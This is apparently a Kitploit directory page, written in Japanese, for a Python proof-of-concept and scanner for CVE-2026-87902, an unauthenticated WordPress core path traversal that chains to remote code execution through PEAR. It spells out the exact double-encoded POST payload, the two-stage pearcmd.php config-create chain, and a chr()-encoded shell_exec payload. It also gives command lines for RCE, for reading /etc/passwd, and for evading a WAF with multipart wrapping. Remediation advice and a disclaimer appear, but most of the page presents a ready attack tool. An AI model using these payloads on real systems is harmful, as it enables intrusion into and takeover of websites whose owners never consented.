Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-87902 — CVE-2026-87902(WordPressコアのパストラバーサルによりLFIおよびPEARベースのRCEに至る脆弱性)のPython PoCおよびスキャナ。WAFバイパスと自動エクスプロイトに対応。 | Kitploit
ツール/GitHubGitHub/bhideki/cve-2026-87902
脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用WAFバイパスウェブセキュリティペネトレーションテストリモートアクセスツールペイロード開発
GitHubbhideki/cve-2026-87902

CVE-2026-87902

CVE-2026-87902(WordPressコアのパストラバーサルによりLFIおよびPEARベースのRCEに至る脆弱性)のPython PoCおよびスキャナ。WAFバイパスと自動エクスプロイトに対応。

223122日前未レビュー
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-87902 — WordPress Core パストラバーサル / LFI / RCE

WordPress コアのページテンプレートリゾルバーにおける二重エンコードされたパストラバーサルを介した未認証のローカルファイルインクルージョン、および PEAR ベースの RCE チェーン。

脆弱性の詳細

項目値
CVECVE-2026-87902
CVSS9.2 (Critical) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWECWE-98 — Include/Require のためのファイル名の不適切な制御
影響を受けるバージョンWordPress 4.7.0 – 7.1.1
修正済みWordPress 7.1.2 + サポート対象の全ブランチへのバックポート
認証不要 (未認証)

根本原因

wp-includes/template.php の get_page_template() は、サニタイズがすでに実行された後に pagename クエリパラメータに対して urldecode() を呼び出します。二重エンコードされた ../ シーケンス (%252E%252E%252F) は、PHP の最初のデコードを %2E%2E%2F として通過し、sanitize_title_with_dashes() (%xx シーケンスを保持する) を生き延び、その後 WordPress の遅延 urldecode() 呼び出しによって ../ にデコードされ、テーマディレクトリを脱出します。

POST メソッドが必要なのは、redirect_canonical() が非 GET/HEAD リクエストに対して早期にリターンし、脆弱なコードに到達する前にパスが正規化されるのを防ぐためです。

悪用フロー

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex

1. PHP が POST ボディをデコード:     templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP のサニタイズが保持:     templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() の urldecode(): templates/../../../index
4. locate_template() が解決: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() が成功 → include() がファイルを実行

影響

  • ローカルファイルインクルージョン — テーマディレクトリ外の任意の .php ファイルがインクルードされ実行される
  • リモートコード実行 — PEAR pearcmd.php ガジェットチェーン経由 (PEAR がインストール済み + register_argc_argv=On が必要)

PEAR RCE チェーン

2 つの匿名 POST リクエストで RCE を達成します:

ステージ 1 — トラバーサル経由で pearcmd.php をインクルードします。クエリ文字列 /?+config-create+/<php-payload>+<output>.php が PEAR の argv になります。config-create コマンドは、攻撃者が制御するデータ (PHP タグを含む) を書き込み可能なディレクトリに書き込みます。

ステージ 2 — PEAR が書き込んだファイルをインクルードします。埋め込まれた PHP が Web サーバーの権限で実行されます。

PHP ペイロードは chr() エンコーディング (<?=shell_exec(chr(105).chr(100))?>) を使用して、wp_magic_quotes() がエスケープする引用符文字を回避します。

ツール

cve-2026-87902.py — 自動チェッカー + LFI スキャナー + PEAR RCE エクスプロイト。バイト単位で正確なリクエスト制御のために http.client を使用します (ライブラリによる再エンコードなし)。

要件

Python 3.6+ (標準ライブラリのみ — pip 依存関係なし)

使用方法

# 脆弱性チェックのみ
python3 cve-2026-87902.py https://target.com --check

# WAF バイパス付きチェック (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart

# ページ ID とトラバーサル深度を指定
python3 cve-2026-87902.py https://target.com -p 42 --depth 7

# LFI スキャン (デフォルトターゲット)
python3 cve-2026-87902.py https://target.com

# カスタムファイルによる LFI スキャン
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable

# PEAR チェーン経由の RCE
python3 cve-2026-87902.py https://target.com --rce "id"

# RCE 経由でファイルを読み取る
python3 cve-2026-87902.py https://target.com --read /etc/hostname

# 全オプション
python3 cve-2026-87902.py https://target.com --rce "whoami" \
    --pear /usr/local/lib/php/pearcmd \
    --output /tmp/wp-rce-payload \
    --multipart --timeout 30

実行内容

  1. テーマ検出 — HTML からアクティブテーマを抽出し、page-* ディレクトリを探索
  2. ページ検出 — REST API に問い合わせて、デフォルトテンプレートを持つ公開ページを取得
  3. トラバーサルテスト — 二重エンコードされた POST ペイロードで複数の深度 (1-12) をスイープ
  4. WAF バイパス — --multipart はペイロードを multipart/form-data でラップし、WAF のパターンマッチングを回避
  5. LFI スキャン — 既知の WordPress ファイルをインクルードし、レスポンスサイズをベースラインと比較
  6. RCE — chr() エンコードされたペイロードによる 2 段階の PEAR チェーン

出力マーカー

マーカー意味
[HIT]ファイルが正常にインクルードされた
[---]正常なレスポンス (ファイルはインクルードされていない)
[???]レスポンスが大きく異なる — 調査する価値あり
[WAF]WAF によってブロックされた (403)
[ERR]接続に失敗した

前提条件

  • アクティブテーマに page-* ディレクトリが含まれている必要がある (例: page-templates/)
  • デフォルトテンプレートを持つ公開ページが少なくとも 1 つ存在すること
  • WordPress バージョンが影響範囲内 (未パッチ)
  • RCE の場合: PEAR pearcmd.php が読み取り可能 + register_argc_argv=On + /tmp が書き込み可能

修復

WordPress 7.1.2 またはご使用のブランチの最新セキュリティリリースに更新してください (4.7 へのバックポートも利用可能)。

参考資料

  • Robert Ressl — CVE-2026-87902 Write-up
  • WordPress Security Advisory — GHSA-7hp8-65ch-5whp
  • Hadrian Vulnerability Alert

免責事項

このツールは、許可されたセキュリティテストおよびバグバウンティ調査のみを目的として提供されています。テストの明示的な許可を得ているシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。

ツールをダウンロード